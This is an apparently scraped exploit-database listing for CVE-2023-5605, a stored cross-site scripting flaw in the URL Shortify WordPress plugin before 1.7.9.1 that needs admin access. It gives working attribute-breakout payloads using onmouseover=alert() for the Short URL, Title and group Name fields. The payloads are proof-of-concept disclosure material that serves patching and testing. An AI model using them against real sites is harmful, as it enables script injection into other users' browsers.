Exploit for URL Shortify < 1.7.9.1 - Admin+ Stored XSS CVE-2023-5605

Name: Exploit for URL Shortify < 1.7.9.1 - Admin+ Stored XSS CVE-2023-5605
Rating: 5 (51 reviews)

2023-10-16 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:9EC03EF0-0C04-4517-B761-DF87AF722A64
Multiple parameters in the plugin's settings are vulnerable to cross-site scripting.

Links -> Edit Link
- "Short URL" payload: `9onp" onmouseover=alert(3) abc="`
- "Title" payload: `KaizenCoders" onmouseover=alert(1) abc="`

Groups -> Edit Group
- "Name" payload: `title" onmouseover=alert(2) abc="`